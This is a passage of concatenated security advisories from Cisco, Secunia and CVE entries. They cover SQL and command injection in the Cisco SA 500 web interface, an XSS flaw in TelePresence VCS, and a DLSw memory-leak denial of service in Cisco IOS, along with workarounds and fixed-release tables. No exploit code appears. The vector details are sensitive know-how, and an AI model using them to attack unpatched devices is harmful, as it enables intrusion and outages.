- None CVSS Temporal Score - 4.1 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed * CSCtq65681 - Privilege escalation vulnerability CVSS Base Score - 9.0 Access Vector - Network Access Complexity - Low Authentication - Single Confidentiality Impact - Complete Integrity Impact - Complete Availability Impact - Complete CVSS Temporal Score - 7.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the SQL injection vulnerability could allow the retrieval of usernames and passwords. An authenticated user could exploit the privilege escalation vulnerability to execute underlying operating system commands. Software Versions and Fixes =========================== When considering software upgrades, also consult: http://www.cisco.com/go/psirt And any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. These vulnerabilities have been corrected in software versions 2.1.19 and later. If administrators of SA 500 Series Security Appliances have configured the Check for New Firmware notification under Administration > Firmware & Configuration > Network, a message regarding new firmware that is available on Cisco.com will be displayed at the next log in to the appliance. Note: the SA 500 will not perform an automatic upgrade to version 2.1.19. The upgrade must be performed by an administrator. The latest software for SA 500 Series Security Appliances can be downloaded at: http://www.cisco.com/cisco/software/navigator.html?mdfid=282414017 Workarounds =========== The following mitigations help limit the exposure to these vulnerabilities. * Disable Remote Management Caution: Do not disable remote management if administrators manage devices via the WAN connection. This action will result in a loss of management connectivity to the device. Several features also require remote management to be enabled, including SSL VPN access and the Cisco Quick Virtual Private Network (QVPN) Utility. Remote Management is disabled by default. Administrators can disable this feature by choosing Network Management > Remote Management. Change the setting for this field to Disabled. Disabling remote management limits exposure because the vulnerabilities can then be exploited from the inter-LAN network only. Disabling remote management limits the exposure as the vulnerabilities can then only be exploited from the inter LAN network. * Limit Remote Management Access to Specific IP Addresses If remote management is required, secure the device so that it can be accessed by certain IP addresses only, rather than the default setting of All IP Addresses. After choosing Network Management > Remote Management, an administrator can change the Remote IP Address field to ensure that only devices with specified IP addresses can access the device. Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at: http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html Or as otherwise set forth at Cisco.com Downloads at: http://www.cisco.com/public/sw-center/sw-usingswc.shtml Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com If the information is not clear, please contact the Cisco Small Business Support Center or your contracted maintenance provider for assistance. Small Business Support Center contacts are as follows. +1 866 606 1866 (toll free from within North America) +1 408 418 1866 (toll call from anywhere in the world) Customers should have their product serial number available. Refer to: http://www.cisco.com/en/US/support/tsd_cisco_small_business_support_center_contacts.html for additional support contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities that are described in this advisory. These vulnerabilities were reported to Cisco by Michal Sajdak of Securitum, Poland. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at : http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +-------------------------------------------------------------------+ | Revision 1.0 | 2011-July-20 | Initial public release. | +-------------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at: http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at: http://www.cisco.com/go/psirt +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iF4EAREIAAYFAk4m4k8ACgkQQXnnBKKRMNDzJgD+MwAQlnCeOSxzAq20X7iFbKvP tRwD9b1YmA4CFNcFLJkA/i25Tf/onaCHv4x79F0XDt2ZaCSpdEIp17oYfzFajYXl =aaaj -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . ---------------------------------------------------------------------- The Secunia Vulnerability Intelligence Manager (VIM) enables you to handle vulnerability threats in a simple, cost effective way. Read more and request a free trial: http://secunia.com/products/corporate/vim/ ---------------------------------------------------------------------- TITLE: Cisco SA 500 Series Web Management Interface Two Vulnerabilities SECUNIA ADVISORY ID: SA45355 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/45355/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=45355 RELEASE DATE: 2011-07-22 DISCUSS ADVISORY: http://secunia.com/advisories/45355/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/45355/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=45355 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Two vulnerabilities have been reported in Cisco SA 500 Series Security Appliances, which can be exploited by malicious users to compromise a vulnerable system and by malicious people to conduct SQL injection attacks. 1) Certain input passed to the login form is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. 2) Certain unspecified input passed to the web management interface is not properly sanitised before being used. This can be exploited to inject and execute arbitrary shell commands. PROVIDED AND/OR DISCOVERED BY: The vendor credits Michal Sajdak, Securitum. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Cross-site scripting (XSS) vulnerability in the login page in the administrative interface on Cisco TelePresence Video Communication Servers (VCS) with software before X7.0 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header, aka Bug ID CSCts80342. Cisco TelePresence Video Communication Server is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. Versions prior to Cisco TelePresence Video Communication Server X7.0 are affected

Memory leak in the Data-link switching (aka DLSw) feature in Cisco IOS 12.1 through 12.4 and 15.0 through 15.1, and IOS XE 3.1.xS before 3.1.3S and 3.2.xS before 3.2.1S, when implemented over Fast Sequence Transport (FST), allows remote attackers to cause a denial of service (memory consumption and device reload or hang) via a crafted IP protocol 91 packet, aka Bug ID CSCth69364. Cisco IOS is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to cause an affected device to reload, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCth69364. Cisco's Internet Operating System (IOS) is a complex operating system optimized for Internet interconnection. Remote illegal attackers can use this vulnerability to cause denial of service. Cisco has released free software updates that address this vulnerability. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20110928-dlsw.shtml. Note: The September 28, 2011, Cisco IOS Software Security Advisory bundled publication includes ten Cisco Security Advisories. Each advisory lists the Cisco IOS Software releases that correct the vulnerability or vulnerabilities detailed in the advisory as well as the Cisco IOS Software releases that correct all vulnerabilities in the September 2011 Bundled Publication. Individual publication links are in "Cisco Event Response: Semiannual Cisco IOS Software Security Advisory Bundled Publication" at the following link: http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep11.html Affected Products ================= Vulnerable Products +------------------ Cisco IOS devices with the DLSw promiscuous feature enabled are affected by the vulnerability described in this advisory. Devices with the DLSw promiscuous feature enabled contain a line in the configuration defining a local DLSw peer with the promiscuous keyword. This configuration can be observed by issuing the command "show running-config". Systems configured with the DLSw promiscuous feature enabled contain a line similar to one of the following: dlsw local-peer promiscuous or dlsw local-peer peer-id <IP address> promiscuous To determine the software that runs on a Cisco IOS device, log in to the device and issue the "show version" command to display the system banner. Cisco IOS Software identifies itself as "Cisco Internetwork Operating System Software" or "Cisco IOS Software." Other Cisco devices do not have the "show version" command or give different output. The following example shows output from a device running IOS version 15.0(1)M1: Router> show version Cisco IOS Software, C3900 Software (C3900-UNIVERSALK9-M), Version 15.0(1)M1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Wed 02-Dec-09 17:17 by prod_rel_team Additional information about Cisco IOS Software release naming conventions is available in the white paper Cisco IOS and NX-OS Software Reference Guide at: http://www.cisco.com/web/about/security/intelligence/ios-ref.html. Products Confirmed Not Vulnerable +-------------------------------- No other Cisco products are currently known to be affected by this vulnerability. Details ======= DLSw provides a means of transporting IBM Systems Network Architecture (SNA) and network BIOS (NetBIOS) traffic over an IP network. The Cisco implementation of DLSw over Fast Sequence Transport (FST) uses IP Protocol 91. The promiscuous DLSw feature permits the local peer to establish connection with remote peers that are not statically configured. A Cisco IOS device that is configured for DLSw listens for IP protocol 91 packets. Depending on the DLSw configuration, UDP port 2067, and, one or more TCP ports can also be opened. The vulnerability described in this document can only be exploited via IP Protocol 91 and can not be exploited using either the UDP or TCP transports. Devices with only statically configured DLSw peers are not affected by this vulnerability. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCth69364 ("DLSw FST Memory Leak") CVSS Base Score - 7.8 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - None Availability Impact - Complete CVSS Temporal Score - 6.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the vulnerability may result in a memory leak that can lead to a denial of service condition. To identify the memory leak caused by this vulnerability, issue the "show dlsw peers | include FST.*DISCONN" command; a monotonically increasing list of FST peers that remain in the DISCONN state indicates that memory is being held, as shown in the following example: Router> show dlsw peers | include FST.*DISCONN FST 176.74.146.194 DISCONN 1 0 prom 0 - - - FST 9.180.128.186 DISCONN 1 0 prom 0 - - - FST 139.71.105.39 DISCONN 1 0 prom 0 - - - FST 138.150.39.18 DISCONN 1 0 prom 0 - - - FST 253.240.220.167 DISCONN 1 0 prom 0 - - - FST 252.186.119.224 DISCONN 1 0 prom 0 - - - FST 41.255.172.252 DISCONN 1 0 prom 0 - - - ! --- Output truncated Router> Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Additionally, the Cisco IOS Software Checker is available on the Cisco Security Intelligence Operations (SIO) portal at http://tools.cisco.com/security/center/selectIOSVersion.x. It provides several features for checking which Security Advisories affect specified versions of Cisco IOS Software. Cisco IOS Software +----------------- Each row of the following Cisco IOS Software table corresponds to a Cisco IOS Software train. If a particular train is vulnerable, the earliest releases that contain the fix are listed in the First Fixed Release For This Advisory column. The First Fixed Release for All Advisories in the September 2011 Bundled Publication column lists the earliest possible releases that correct all the published vulnerabilities in the Cisco IOS Software Security Advisory bundled publication. Cisco recommends upgrading to the latest available release, where possible. +------------------------------------------------------------+ | Major | Availability of Repaired Releases | | Release | | |------------+-----------------------------------------------| | Affected | | First Fixed Release | | 12.0-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 12.0-based releases | |------------------------------------------------------------| | Affected | | First Fixed Release | | 12.1-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.1E | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 12.2-Based | First Fixed Release | for All Advisories in | | Releases | | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 12.2 | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; first | | | | fixed in Release 12.4 | | | 12.2B | | Vulnerable; first | | | Releases up to and | fixed in Release 12.4 | | | including 12.2(2)B7 | | | | are not vulnerable. | | |------------+-----------------------+-----------------------| | 12.2BC | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2BW | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; first | | | | fixed in Release | | | | 12.2SB | Vulnerable; first | | 12.2BX | | fixed in Release | | | Releases up to and | 12.2SB | | | including 12.2(15)BX | | | | are not vulnerable. | | |------------+-----------------------+-----------------------| | 12.2BY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2BZ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2CX | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2CY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2CZ | Not vulnerable | fixed in Release | | | | 12.2SB | |------------+-----------------------+-----------------------| | 12.2DA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2DD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2DX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2EU | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Releases up to and | | 12.2EW | Not vulnerable | including 12.2(20)EW4 | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2EWA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2EX | Not vulnerable | 12.2(55)EX3 | |------------+-----------------------+-----------------------| | 12.2EY | Not vulnerable | 12.2(58)EY | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2EZ | Not vulnerable | to any release in | | | | 15.0SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FX | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FY | Not vulnerable | fixed in Release | | | | 12.2EX | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FZ | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | Vulnerable; migrate | Vulnerable; migrate | | 12.2IRA | to any release in | to any release in | | | 12.2IRG | 12.2IRG | |------------+-----------------------+-----------------------| | | Vulnerable; migrate | Vulnerable; migrate | | 12.2IRB | to any release in | to any release in | | | 12.2IRG | 12.2IRG | |------------+-----------------------+-----------------------| | | Vulnerable; migrate | Vulnerable; migrate | | 12.2IRC | to any release in | to any release in | | | 12.2IRG | 12.2IRG | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IRD | 12.2(33)IRD1 | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IRE | 12.2(33)IRE3 | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; migrate | Vulnerable; migrate | | 12.2IRF | to any release in | to any release in | | | 12.2IRG | 12.2IRG | |------------+-----------------------+-----------------------| | 12.2IRG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXA | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXB | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXC | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXD | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXE | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXF | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXG | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2IXH | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2JA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2JK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2MB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2MC | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2MRA | Not vulnerable | fixed in Release | | | | 12.2SRD | |------------+-----------------------+-----------------------| | 12.2MRB | Not vulnerable | 12.2(33)MRB5 | |------------+-----------------------+-----------------------| | | Releases prior to | Releases prior to | | | 12.2(30)S are | 12.2(30)S are | | | vulnerable; Releases | vulnerable; Releases | | 12.2S | 12.2(30)S and later | 12.2(30)S and later | | | are not vulnerable. | are not vulnerable. | | | First fixed in | First fixed in | | | Release 12.2SB | Release 12.2SB | |------------+-----------------------+-----------------------| | | 12.2(31)SB20 | 12.2(31)SB2012.2(33) | | 12.2SB | | SB10 | | | 12.2(33)SB10 | | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SBC | fixed in Release | fixed in Release | | | 12.2SB | 12.2SB | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SCA | fixed in Release | fixed in Release | | | 12.2SCC | 12.2SCC | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SCB | fixed in Release | fixed in Release | | | 12.2SCC | 12.2SCC | |------------+-----------------------+-----------------------| | 12.2SCC | 12.2(33)SCC7 | 12.2(33)SCC7 | |------------+-----------------------+-----------------------| | | 12.2(33)SCD6 | | | 12.2SCD | | 12.2(33)SCD6 | | | 12.2(33)SCD7 | | |------------+-----------------------+-----------------------| | | 12.2(33)SCE1 | 12.2(33)SCE112.2(33) | | 12.2SCE | | SCE2 | | | 12.2(33)SCE2 | | |------------+-----------------------+-----------------------| | 12.2SCF | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SE | Not vulnerable | 12.2(55)SE312.2(58)SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEA | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEB | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEC | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SED | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEE | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEF | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(25)SEG4 are | | | | vulnerable; Releases | | 12.2SEG | Not vulnerable | 12.2(25)SEG4 and | | | | later are not | | | | vulnerable. First | | | | fixed in Release | | | | 12.2EX | |------------+-----------------------+-----------------------| | | Releases prior to | Releases prior to | | | 12.2(40)SG are | 12.2(53)SG4 are | | 12.2SG | vulnerable; Releases | vulnerable; Releases | | | 12.2(40)SG and later | 12.2(53)SG4 and later | | | are not vulnerable. | are not vulnerable. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2SGA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2SL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2SM | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2SO | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SQ | Not vulnerable | 12.2(50)SQ3 | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SRA | fixed in Release | fixed in Release | | | 12.2SRD | 12.2SRD | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SRB | fixed in Release | fixed in Release | | | 12.2SRD | 12.2SRD | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SRC | fixed in Release | fixed in Release | | | 12.2SRD | 12.2SRD | |------------+-----------------------+-----------------------| | 12.2SRD | 12.2(33)SRD6 | 12.2(33)SRD6 | |------------+-----------------------+-----------------------| | 12.2SRE | 12.2(33)SRE3 | 12.2(33)SRE4 | |------------+-----------------------+-----------------------| | 12.2STE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SU | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Releases prior to | Releases prior to | | | 12.2(29a)SV are | 12.2(29a)SV are | | | vulnerable; Releases | vulnerable; Releases | | 12.2SV | 12.2(29a)SV and later | 12.2(29a)SV and later | | | are not vulnerable. | are not vulnerable. | | | Migrate to any | Migrate to any | | | release in 12.2SVD | release in 12.2SVD | |------------+-----------------------+-----------------------| | 12.2SVA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Releases prior to | Vulnerable; contact | | | 12.2(25)SW12 are | your support | | | vulnerable; Releases | organization per the | | 12.2SW | 12.2(25)SW12 and | instructions in the | | | later are not | Obtaining Fixed | | | vulnerable. | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SX | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SXA | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SXB | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SXD | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SXE | fixed in Release | fixed in Release | | | 12.2SXF | 12.2SXF | |------------+-----------------------+-----------------------| | 12.2SXF | 12.2(18)SXF17b | 12.2(18)SXF17b | |------------+-----------------------+-----------------------| | 12.2SXH | 12.2(33)SXH8a | 12.2(33)SXH8a | |------------+-----------------------+-----------------------| | 12.2SXI | 12.2(33)SXI6 | 12.2(33)SXI6 | |------------+-----------------------+-----------------------| | 12.2SXJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SY | 12.2(50)SY | 12.2(50)SY | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 12.2SZ | fixed in Release | fixed in Release | | | 12.2SB | 12.2SB | |------------+-----------------------+-----------------------| | 12.2T | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 12.2TPC | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 12.2XA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XB | Vulnerable; first | Vulnerable; first | | | fixed in Release 12.4 | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2XC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XF | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XH | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XI | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XM | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XN | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see Cisco | | 12.2XNA | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see Cisco | | 12.2XNB | IOS-XE Software | IOS-XE Software | | | Availability | Availability | |------------+-----------------------+-----------------------| | | Please see Cisco | Please see 